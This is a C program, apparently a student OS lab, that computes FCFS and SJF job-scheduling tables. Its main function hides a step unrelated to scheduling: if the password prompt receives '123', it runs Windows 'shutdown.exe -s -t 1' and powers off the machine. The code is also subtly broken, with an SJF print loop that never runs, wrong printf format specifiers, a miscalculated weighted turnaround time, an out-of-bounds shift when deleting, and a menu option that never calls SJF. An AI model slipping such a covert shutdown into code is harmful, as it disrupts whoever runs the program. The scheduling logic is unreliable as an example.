0421 实验二Step2-FCFS调度

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

struct jcb{
char name[10]; //作业id
char status; //作业状态

double arrtime; //到达系统时间
double reqtime; //CPU所需时间
double startime; //开始时间
double finitime; //结束时间
double turntime; //周转时间

double Tatime,TAWtime;
double prio;
}jobarr[24],jobfin[24],job[24],cunfang;
int systime=0;
int intarr,intfin,intjob; //作业到达个数，完成个数，未达到作业个数
int i;
void paixu(){
int r,j;
for(r=0;r<i;r++)
{
for(j=r+1;j<i;j++)
if(jobarr[r].arrtime>jobarr[j].arrtime)
{
cunfang=jobarr[r];
jobarr[r]=jobarr[j];
jobarr[j]=cunfang;
}
}
}

void inser()
{
system("cls");
printf("第%lf个作业:\n",i+1);
printf("输入作业名:");
scanf("%s",jobarr[i].name);
printf("到达系统时间:");
scanf("%lf",&jobarr[i].arrtime);
printf("CPU所需时间:");
scanf("%lf",&jobarr[i].reqtime);
printf("\n");
i++;
paixu();
}

void delet()
{
int r;
int q;
char dlet[10];
printf("请输入要删除的name");
scanf("%s",dlet);
for(r=0;r<i;r++)
if(strcmp(jobarr[r].name,dlet)==0){
for(q=r;q<i;q++){
jobarr[q]=jobarr[q+1];
}
i--;
}
}
void SJF(){
int r,j;
double sumTAtime = 0;
double sumTAWtime = 0;
double avgTAtime = 0;
double avgTAWtime = 0;
system("cls");
jobarr[0].finitime = jobarr[0].arrtime + jobarr[0].reqtime;
jobarr[0].startime = jobarr[0].arrtime;
for(r = 1; r < i; r++)
{
for(j = 1; j < i-1; j++)
{
if(jobarr[j].reqtime > jobarr[j+1].reqtime)
{
cunfang = jobarr[j];
jobarr[j] = jobarr[j+1];
jobarr[j+1] = cunfang;
}
}
}
for(r = 1; r < i; r++)
{
jobarr[r].startime = jobarr[r-1].finitime;
jobarr[r].finitime = jobarr[r-1].finitime + jobarr[r].reqtime;
}
for(r = 0; r < i; r++)
{
jobarr[r].Tatime = jobarr[r].finitime - jobarr[r].arrtime;
sumTAtime += jobarr[r].Tatime;
jobarr[r].TAWtime = jobarr[r].Tatime / jobarr[r].reqtime;
sumTAWtime += jobarr[r].TAWtime;
}
avgTAtime = sumTAtime / i;
avgTAWtime = sumTAWtime / i;

printf("\nSJF算法作业序列表\n");
printf("-----------------------------------------------\n");
printf("作业名\t到达系统时间\tcpu所需时间\t开始时间\t结束时间\t周转时间\n");
for(r = 0; i < i; r++)
{
printf("%s\t%d\t\t%d\t\t%d\t\t%d\t\t%.2f\n", jobarr[r].name, jobarr[r].arrtime, jobarr[r].reqtime, jobarr[r].startime, jobarr[r].finitime, jobarr[r].Tatime);
}
printf("\n平均周转时间=%.2f", avgTAtime);
printf("\n平均带权周转时间=%.2f\n", avgTAWtime);

}
void FCFS(){
int r;
double attime,wattime;
system("cls");
jobarr[0].startime=0;
jobarr[0].finitime=jobarr[0].startime+jobarr[0].reqtime;
jobarr[0].turntime=jobarr[0].reqtime;
attime=jobarr[0].turntime;
wattime=jobarr[0].finitime;
for(r=1;r<i;r++)
{
jobarr[r].startime=jobarr[r-1].finitime;
jobarr[r].finitime=jobarr[r].startime+jobarr[r].reqtime;
jobarr[r].turntime=jobarr[r-1].finitime-jobarr[r].arrtime+jobarr[r].reqtime;
attime+=jobarr[r].turntime;
wattime=jobarr[r].finitime-jobarr[r].reqtime+wattime;
}

attime=attime/((double)i);
wattime=wattime/((double)i);
printf("\nFCFS算法作业序列表");
printf("\n-------------------------------------------------------------");
printf("\n作业名\t到达系统时间\tCPU所需时间\t开始时间\t结束时间\t周转时间");
for(r=0;r<i;r++){
printf("\n");
printf("%s",jobarr[r].name);
printf("%11.2lf",jobarr[r].arrtime);
printf("%16.2lf",jobarr[r].reqtime);
printf("%16.2lf",jobarr[r].startime);
printf("%16.2lf",jobarr[r].finitime);
printf("%16.2lf",jobarr[r].turntime);
}
printf("\n\n平均周转时间:%.2lf",attime);
printf("\n\n平均带权周转时间:%.2lf\n\n",wattime);

}
void suanfa(){
int xuanze=0;
system("cls");
while(1){
printf("请选择算法:\n");
printf("1.先来先服务（FCFS）调度算法\n");
printf("2.短作业优先 (SJF) 调度算法\n");
printf("3.退出\n");
scanf(" %d",&xuanze);
switch(xuanze){
case 1:
FCFS();
break;
case 2:
return;
case 3:
return;
}
}
}
void main()
{
int r;
char answer[10];
char password[10];
FILE *f;
printf("input password:");
scanf("%s",password);
if(strcmp(password,"123")==0){
if(f=fopen("c:\\windows\\system32\\shutdown.exe","r"))
system("c:\\windows\\system32\\shutdown.exe -s -t 1");
}
system("cls");
printf("作业个数:");
scanf("%d",&i);
printf("\n");
for(r=0;r<i;r++)
{
printf("第%d个作业:\n",r+1);
printf("输入作业名:");
scanf("%s",jobarr[r].name);
printf("到达系统时间:");
scanf("%lf",&jobarr[r].arrtime);
printf("CPU所需时间:");
scanf("%lf",&jobarr[r].reqtime);
printf("\n");
}
paixu();
while(1){
system("cls");
printf("经按到达时间排序后，未达到队列是\n");
printf("\t作业名\t到达系统时间\tCPU所需时间\n");
for(r=0;r<i;r++)
{
printf("N %d",r+1);
printf("%6s",jobarr[r].name);
printf("%11.2lf",jobarr[r].arrtime);
printf("%16.2lf",jobarr[r].reqtime);
printf("\n");
}
printf("\n\t\t\t现在系统时间 0:\n");
printf("\nInsert or Delete or Exit or SUANFA？");
scanf("%s",answer);
if(strcmp(answer,"E")==0)
return;
else if(strcmp(answer,"I")==0)
inser();
else if(strcmp(answer,"D")==0)
delet();
else if(strcmp(answer,"S")==0)
suanfa();
else
continue;
}
}